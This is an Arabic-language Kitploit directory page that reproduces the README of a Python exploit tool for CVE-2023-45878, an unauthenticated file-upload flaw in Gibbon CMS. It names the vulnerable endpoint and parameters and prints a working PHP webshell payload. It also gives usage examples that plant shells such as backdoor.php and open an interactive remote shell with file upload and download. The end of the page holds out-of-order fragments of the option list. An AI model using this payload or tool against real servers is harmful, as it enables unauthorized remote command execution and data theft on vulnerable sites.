Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-45878 — أداة استغلال آلية بلغة بايثون لثغرة CVE-2023-45878، وهي ثغرة رفع ملفات غير مصادق عليها في نظام Gibbon CMS، مما يتيح تنفيذ تعليمات برمجية عن بُعد عبر نشر قشرة ويب بلغة PHP مع صدفة تفاعلية وقدرات نقل الملفات. | Kitploit
أدوات/GitHubGitHub/can0i0ever0enter/cve-2023-45878
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubcan0i0ever0enter/cve-2023-45878

CVE-2023-45878

أداة استغلال آلية بلغة بايثون لثغرة CVE-2023-45878، وهي ثغرة رفع ملفات غير مصادق عليها في نظام Gibbon CMS، مما يتيح تنفيذ تعليمات برمجية عن بُعد عبر نشر قشرة ويب بلغة PHP مع صدفة تفاعلية وقدرات نقل الملفات.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
3منذ سنة واحدةلم تتم المراجعة بعد

استغلال ثغرة Gibbon CMS (CVE-2023-45878)

يقوم هذا السكريبت بلغة بايثون باستغلال الثغرة CVE-2023-45878، وهي ثغرة رفع ملفات عشوائية بدون مصادقة في نسخ Gibbon CMS 25.0.1 وما قبلها، مما يؤدي إلى تنفيذ أوامر عن بُعد (RCE).

وصف الثغرة

توجد الثغرة CVE-2023-45878 في النقطة النهائية rubrics_visualise_saveAjax.php لنظام Gibbon CMS. هذه النقطة النهائية ضعيفة لأنها لا تتطلب مصادقة وتسمح بكتابة ملفات عشوائية.

تنشأ الثغرة مما يلي:

  • الوصول بدون مصادقة: يمكن الوصول إلى النقطة النهائية modules/Rubrics/rubrics_visualise_saveAjax.php دون أي مصادقة.
  • كتابة ملفات عشوائية: تقبل النقطة النهائية باراميترات POST img و path و gibbonPersonID.
    • من المتوقع أن يحتوي باراميتر img على بيانات منسقة بشكل خاص، حيث أن الجزء بعد الفاصلة هو سلسلة مشفرة بـ base64.
    • يتم استخدام باراميتر path، إن تم توفيره، كاسم الملف الوجهة للملف المرفوع، نسبيًا لدليل تثبيت Gibbon.
    • يقوم السكريبت بفك تشفير المحتوى المشفر بـ base64 من باراميتر img وكتابته إلى ملف محدد بواسطة باراميتر path.
  • تنفيذ أوامر عن بُعد: من خلال صياغة باراميتر img ضار يحتوي على كود PHP مشفر بـ base64 (مثل <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) وتحديد path ينتج ملف .php يمكن الوصول إليه عبر خادم الويب، يمكن للمهاجم رفع قشرة ويب (webshell) PHP وتحقيق تنفيذ أوامر عن بُعد على الخادم الضعيف.

وظيفة السكريبت

يقوم هذا السكريبت بلغة بايثون بأتمتة استغلال الثغرة CVE-2023-45878. يقوم بالإجراءات التالية:

  1. رفع قشرة ويب PHP: يقوم بصياغة طلب POST ضار إلى modules/Rubrics/rubrics_visualise_saveAjax.php لرفع قشرة ويب PHP. حمولة القشرة هي <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>، حيث {VERIFY_TAG} هو علامة قابلة للتخصيص. يتم تشفير الحمولة بـ base64 وإرسالها ضمن باراميتر img.
  2. التحقق من القشرة: يمكنه التحقق مما إذا كانت القشرة المرفوعة قابلة للوصول وفعالة عن طريق إرسال طلب GET بأمر بسيط (مثل cmd=echo) والتحقق من وجود VERIFY_TAG في الرد. كما يقوم بإجراء فحص مسبق لوجود قشرة موجودة إذا تم استخدام خيارات مثل --verify أو --interactive.
  3. وضع القشرة التفاعلي: إذا تم رفع القشرة والتحقق منها (أو العثور عليها أثناء الفحص المسبق)، يمكن للسكريبت الدخول في وضع تفاعلي. يتميز هذا الوضع بما يلي:
    • اكتشاف نظام التشغيل البعيد (Windows/Linux) لتخصيص الأوامر.
    • موجه ديناميكي يعرض المستخدم الحالي، اسم المضيف، ودليل العمل البعيد (مثل user@host:cwd$).
    • معالجة مدمجة لأمر cd لتغيير دليل العمل البعيد.

الاستخدام

root@kitploit:~
python3 exploit.py <target_url> [options]

الوسائط:

  • target_url: عنوان URL الأساسي لنظام Gibbon CMS الهدف. سيقوم السكريبت بإضافة http:// إذا لم يتم توفير مخطط، وسيضمن وجود شرطة مائلة في النهاية (مثل http://example.com/gibbon أو example.com/gibbon).

الخيارات:

  • -s <shell_path>, --shell-path <shell_path>: تحديد المسار واسم الملف المطلوبين للقشرة المرفوعة (مثل shell.php، uploads/shell.php). إذا تم حذفه، سيتم إنشاء اسم ملف عشوائي مكون من 8 أحرف بامتداد .php في الدليل الأساسي لـ Gibbon. تحذير: تأكد من أن المسار المحدد قابل للكتابة من قبل خادم الويب ويمكن الوصول إليه عبر الويب.
  • -v, --verify: بعد محاولة رفع القشرة، تحقق من أنها تعمل. يؤدي هذا الخيار أيضًا إلى تشغيل فحص مسبق لمعرفة ما إذا كانت قشرة بالاسم والعلامة المحددين موجودة بالفعل؛ إذا كانت موجودة، يتم تخطي الرفع.
  • -i, --interactive: الدخول في وضع القشرة التفاعلي. إذا لم تكن القشرة موجودة بالفعل (تم التحقق منه بواسطة فحص مسبق)، سيتم رفعها والتحقق منها أولاً.
  • -t <tag>, --tag <tag>: تحديد علامة ثابتة مخصصة تستخدم في حمولة القشرة لأغراض التحقق. (الافتراضي: ExploitGibbon).

أمثلة:

  • استغلال أساسي مع اسم قشرة عشوائي في الدليل الرئيسي لـ Gibbon وعلامة افتراضية:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/
    
  • استغلال، تحديد اسم ملف القشرة my_shell.php في الدليل الرئيسي لـ Gibbon وعلامة افتراضية:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s my_shell.php
    
  • استغلال، رفع القشرة باسم ملف backdoor.php إلى uploads/، والتحقق منها، واستخدام علامة مخصصة:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
    
  • استغلال، رفع القشرة، والدخول في وضع تفاعلي مع علامة افتراضية ومهلة 30 ثانية:

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
    
  • الدخول في وضع تفاعلي مع قشرة موجودة (سيقوم السكريبت بالفحص المسبق لوجودها):

    root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
    
  • فقط تحقق مما إذا كانت قشرة باسم existing_shell.php بالعلامة الافتراضية نشطة (سيحاول الرفع إذا لم يتم العثور عليها):

المتطلبات

  • Python 3.7+ (بسبب استخدام f-strings، نوع التلميحات، dataclasses، pathlib)
  • مكتبة requests: التثبيت باستخدام pip install requests
  • مكتبة rich: التثبيت باستخدام pip install rich
  • مكتبة prompt_toolkit (اختياري، للوضع التفاعلي المحسّن): التثبيت باستخدام pip install prompt_toolkit

إخلاء مسؤولية

تم توفير هذا السكريبت لأغراض تعليمية واختبار أمني فقط. استخدمه على مسؤوليتك الخاصة وفقط ضد الأنظمة التي لديك إذن صريح باختبارها. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر يسببه هذا السكريبت. استغلال الثغرات دون إذن هو غير قانوني وغير أخلاقي.

المراجع

  • CVE-2023-45878 على NVD
  • نشرة الأمان من Herolab Security USD-2023-0025
  • مصدر GibbonEdu Core (النسخة المتأثرة v25.0.01 من rubrics_visualise_saveAjax.php)
تنزيل الأداة
  • أوامر خاصة من جهة العميل:
    • !help: يعرض المساعدة للأوامر التفاعلية.
    • !upload <local_path> [remote_path]: يرفع ملفًا محليًا إلى الخادم الهدف عبر القشرة.
    • !download <remote_path> [local_path]: ينزل ملفًا من الخادم الهدف.
    • !lcd <path>: يغير دليل العمل المحلي الحالي.
    • !ldir [path]: يسرد الملفات والدلائل في دليل العمل المحلي الحالي أو المسار المحدد.
  • يستخدم مكتبة prompt_toolkit إذا كانت متاحة لتجربة سطر أوامر محسّنة (تاريخ، تحرير أفضل)، وإلا يتراجع إلى دالة input() المدمجة في بايثون.
  • عمليات الملفات: يعيد أمر !upload التفاعلي استخدام النقطة النهائية الضعيفة لكتابة ملفات عشوائية، بينما يستخدم أمر !download أوامر النظام المنفذة عبر القشرة (مثل base64 أو [Convert]::ToBase64String في PowerShell) لاسترداد محتوى الملف.
  • --timeout <timeout>: تعيين مهلة طلب HTTP بالثواني. (الافتراضي: 20).
  • root@kitploit:~
    python3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v